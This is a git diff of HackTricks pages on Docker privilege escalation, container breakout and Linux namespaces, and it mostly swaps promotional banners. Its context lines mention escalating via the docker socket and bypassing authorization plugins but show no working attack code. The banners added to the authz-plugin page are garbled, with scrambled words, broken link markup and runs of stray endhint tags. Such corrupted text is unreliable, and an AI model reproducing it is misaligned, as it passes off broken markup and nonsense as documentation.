+{% endhint %}
+{% endhint %}
+{% endhint %}
There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges:
@@ -53,20 +58,25 @@ Note also that if you can **mount `/etc`** or any other folder **containing conf
In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page:
-{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
-[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
-{% endcontent-ref %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md b/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md
index 3357d629d15..d202df51a2b 100644
--- a/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md
+++ b/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md
@@ -1,18 +1,23 @@
-
+{% hnnt styte=" acceas" %}
+GCP Ha& practice ckinH: [**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
+Learn & aciceGCP ngslt="" aa-iz="le">[**angGC RedTamExper(GE)tinhackth ckiuxyzcomurspssgr/a)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+SupportHackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+*Chek th [**subsrippangithub.cm/sorsarlosp!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
+* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
**Docker’s** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Docker’s Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon.
@@ -212,22 +217,27 @@ Remember to **re-enable the plugin after escalating**, or a **restart of docker
* [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)
## References
+{% hnt stye="acceas" %}
+AWS Ha& practice ckinH:[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
+Learn & aciceGCP ng[**angGC RedTamExper(GE)="k>ne">tinhaktckxyzurssgr)
-* [https://docs.docker.com/engine/extend/plugins\_authorization/](https://docs.docker.com/engine/extend/plugins\_authorization/)
-
-
-
-
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+SupportHackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+*Chek th [**subsrippangithub.cm/sorsarlosp!
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
+* **Join 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md
index 5861740c2b9..a3eea1f3f7e 100644
--- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md
+++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md
@@ -1,18 +1,20 @@
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary:
@@ -96,19 +98,21 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/linux-hardening/privilege-escalation/docker-security/docker-privileged.md
index 8020c2f2a6b..825a05d5fa7 100644
--- a/linux-hardening/privilege-escalation/docker-security/docker-privileged.md
+++ b/linux-hardening/privilege-escalation/docker-security/docker-privileged.md
@@ -1,16 +1,19 @@
# Docker --privileged
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## What Affects
@@ -227,14 +230,17 @@ PID USER TIME COMMAND
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/README.md b/linux-hardening/privilege-escalation/docker-security/namespaces/README.md
index 79ed96379d3..8b65ac86631 100644
--- a/linux-hardening/privilege-escalation/docker-security/namespaces/README.md
+++ b/linux-hardening/privilege-escalation/docker-security/namespaces/README.md
@@ -1,18 +1,26 @@
# Namespaces
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
### **PID namespace**
@@ -55,23 +63,31 @@ Other ways to support HackTricks:
{% content-ref url="user-namespace.md" %}
[user-namespace.md](user-namespace.md)
{% endcontent-ref %}
-
-### CGroup Namespace
-
-{% content-ref url="cgroup-namespace.md" %}
-[cgroup-namespace.md](cgroup-namespace.md)
-{% endcontent-ref %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
-
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
index 1d39d58c637..98628586f23 100644
--- a/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
+++ b/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
@@ -1,18 +1,19 @@
# CGroup Namespace
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Basic Information
@@ -100,16 +101,17 @@ Also, you can only **enter in another process namespace if you are root**. And y
## References
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
index adb562e897c..bfb21cd7b33 100644
--- a/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
+++ b/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
@@ -1,18 +1,20 @@
# IPC Namespace
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
## Basic Information
@@ -110,17 +112,19 @@ ipcs -m # Nothing is seen
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
-
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
index b222577fcf4..c3672cc8e5b 100644
--- a/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
+++ b/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
@@ -1,18 +1,19 @@
# Mount Namespace
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Basic Information
@@ -114,16 +115,17 @@ ls /tmp/mount_ns_example/test # Doesn't exist
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
